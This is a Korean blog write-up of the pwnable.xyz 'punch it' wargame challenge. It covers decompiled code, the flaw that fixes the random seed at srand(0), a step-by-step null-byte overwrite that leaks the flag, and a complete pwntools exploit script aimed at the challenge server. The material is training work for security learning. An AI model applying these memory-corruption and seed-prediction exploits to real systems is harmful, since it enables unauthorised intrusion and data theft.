tmxklab
[Pwnable.xyz] punch it 본문
1. 문제
nc svc.pwnable.xyz 30024
1) mitigation 확인
2) 문제 확인
- 이름을 입력하고 캐릭터를 선택한다. 이후에 어떤 값을 넣으면 이름을 출력하고 종료된다.
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
unsigned int v5; // [rsp+0h] [rbp-10h]
unsigned int v6; // [rsp+4h] [rbp-Ch]
unsigned __int64 v7; // [rsp+8h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(argc, argv, envp);
motd_select_character();
do
{
while ( 1 )
{
while ( 1 )
{
printf("score: %ld\n", score);
printf("gimmi pawa> ");
v5 = 0;
v6 = rand();
_isoc99_scanf("%u", &v5);
getchar();
if ( v5 != v6 )
break;
puts("draw");
printf("Save? [N/y]");
if ( getchar() == 'y' )
{
printf("Name: ");
v3 = strlen(buf);
read(0, buf, v3);
}
}
if ( v5 <= v6 )
break;
++score;
}
}
while ( v5 >= v6 );
printf("Sowwy, pleya %s luse, bay bay", buf);
return 0;
}
- 먼저 motd_select_character()를 호출한다.
- v5(입력 값)와 v6(랜덤 값)과 비교
- 같으면 'y'를 입력하고 read(0, buf, strlen(buf)) 실행
- 같지 않으면 while루프에서 빠지게 되고 if문 수행
- v5 ≤ v6 : break → 게임에 져서 buf출력하고 프로그램 종료
- v5 > v6 : ++score → 게임에 이겨서 계속 while루프 반복
3-2) motd_select_character()
int motd_select_character()
{
int v0; // eax
int i; // [rsp+4h] [rbp-Ch]
int fd; // [rsp+Ch] [rbp-4h]
printf("\n\tLet's play a punching game? [Y/n] : ");
if ( getchar() == 'n' )
exit(1);
getchar();
printf("Name: ");
read(0, buf, 44uLL);
printf("Select your character: \n\t1. Goku\n\t2. Saitama\n\t3. Naruto\n\t4. Toriko\n> ");
v0 = getchar();
if ( v0 == '2' )
{
choose_saitama();
}
else if ( v0 > 50 )
{
if ( v0 == '3' )
{
choose_naruto();
}
else
{
if ( v0 != '4' )
goto LABEL_14;
choose_toriko();
}
}
else
{
if ( v0 != '1' )
{
LABEL_14:
puts("Invalid");
goto LABEL_15;
}
choose_goku();
}
LABEL_15:
srand(game_t);
printf("Loading");
for ( i = 0; i <= 4; ++i )
{
putchar(46);
sleep(1u);
}
putchar(10);
fd = open("./flag", 0);
if ( fd == -1 )
{
puts("error");
exit(1);
}
read(fd, &flag_content, 0x80uLL);
return close(fd);
}
- read()를 통해 buf에 0x2c(44)만큼 입력 값을 받는다.
- choose_???()관련 함수 모두 "/dev/urandom"에서 1byte를 가져와 game_t(전역변수)에 넣는 역할을 한다.
- 그리고 srand(game_t)를 통해 rand함수에 사용될 수를 초기화 한다.
- 마지막으로 flag파일을 open해서 flag_content(전역변수)에 저장한다.
전역변수)
- game_t : 0x202040 → srand()의 파라미터, seed값
- buf[44] : 0x202044 → name 저장하는 공간
- score : 0x202070
- flag_content : 0x202078 → flag값이 담긴 flag_content를 읽으면 될 듯
2. 접근방법
제일 먼저 생각한 것은 flag_content에 flag값이 담겨있으므로 입력 값을 받을 수 있는 buf[44]에 flag_content까지 널 바이트를
제거해주면 마지막에 buf를 출력하면서 flag_content값까지 출력될 것이다.
flag_content(0x202078) - buf(0x202044) = 0x34
1) random값 → v6[rbp-0xc]
하지만 main()에서 v5(입력 값)와 비교하는 v6는 랜덤 값이고 seed값은 아까 위에서 봤듯이 moted_select_character()에서 설정된다.
해결 방법)
여기서 0을 입력하면 choose관련 함수는 수행되지 않아 game_t에 값이 세팅되지 않고 바로 srand(game_t)를 수행한다.
→ srand(0)
결국 시드 값은 고정되어 랜덤 값도 고정시킬 수 있다.
위 문제를 해결했으니 게임에 져서 프로그램이 종료되는 것을 막을 수 있다.
그럼 이제 v5와 v6가 동일하여 draw가 되거나 v5가 v6보다 커서 win이 될 수 있다.
draw : read(0, buf, strlen(buf)) / win : ++score
처음 motd_select_character()에서 buf에 값을 받을 때 최대 44byte까지 받지 못하는 것을 알 수 있다.
44byte가지고는 flag_content까지 건드리지는 못하지만 44byte를 꽉 채우고 score(buf+44)점수를 올리면 draw에서 buf에 45byte까지 입력을 받을 수 있다.
그러면 score까지 1byte 건드릴 수 있고 score를 0xff로 세팅한 뒤 win하게 되면 0x1 00이 되면서 또 다시 overflow가 발생한다.
계속 이러한 과정을 반복하다 보면 score에서 flag_content까지 널 바이트없이 값을 채우고 마지막 printf에서 buf를 출력하면 flag_content내용까지 출력될 것이다.
flag_content(0x202078) - score(0x202070) = 8byte
참고 그림)
- 그림을 보면 패턴이 존재하는 것을 확인할 수 있다. (stage0는 제외)
- "w→w→d"묶음을 1개로 하면 stage1에서는 1개, stage2에서는 2개, stage3에서는 4개
- 즉, 2^(x-1), (x=stage)개수로 증가한다. 그리고 stage7까지만 진행하면 된다.
이제 코딩을 열심히 해보자 ㅋㅎㅋㅎ
3. 풀이
1) 익스코드
from pwn import *
from ctypes import *
#context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30024)
lib = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
lib.srand(0)
#gdb.attach(p)
# win = 3, buf[44] = 2, '\xff' = 1, score[8] = 0,
buf_len = 44
buf = list([2 for i in range(buf_len)])
score = list([ 0 for i in range(8+1)])
new_list = buf + score
def win():
rand = lib.rand()
p.sendlineafter("pawa> ", str(rand+1))
for index in range(buf_len, buf_len+8):
if 0 == new_list[index]:
new_list[index] = 3
break
if 1 == new_list[index]:
new_list[index] = 0
def draw():
rand = lib.rand()
p.sendlineafter("pawa> ", str(rand))
p.sendafter("[N/y]","y")
length = new_list.index(0)
p.sendafter("Name: ", "\xff"*length)
for index in range(buf_len, length):
new_list[index] = 1
def wwd():
win()
log.info(new_list[44:])
win()
log.info(new_list[44:])
draw()
log.info(new_list[44:])
# 1. Init
p.sendlineafter("[Y/n] : ", "y")
p.sendafter("Name: ", "A"*0x2c)
p.sendafter("> ", str(0))
log.info(new_list[44:])
win()
log.info(new_list[44:])
draw()
log.info(new_list[44:])
# 2. stage 1 ~ stage 7
for stage in range(7):
log.info("###### stage : "+str(stage) +"######")
for i in range(2**stage):
wwd()
# 3. Read Flag!!
p.send(1)
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] password (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] executioner (0) | 2020.09.09 |
[Pwnable.xyz] catalog (0) | 2020.09.09 |
[Pwnable.xyz] PvP (0) | 2020.09.09 |
[Pwnable.xyz] bookmark (0) | 2020.09.09 |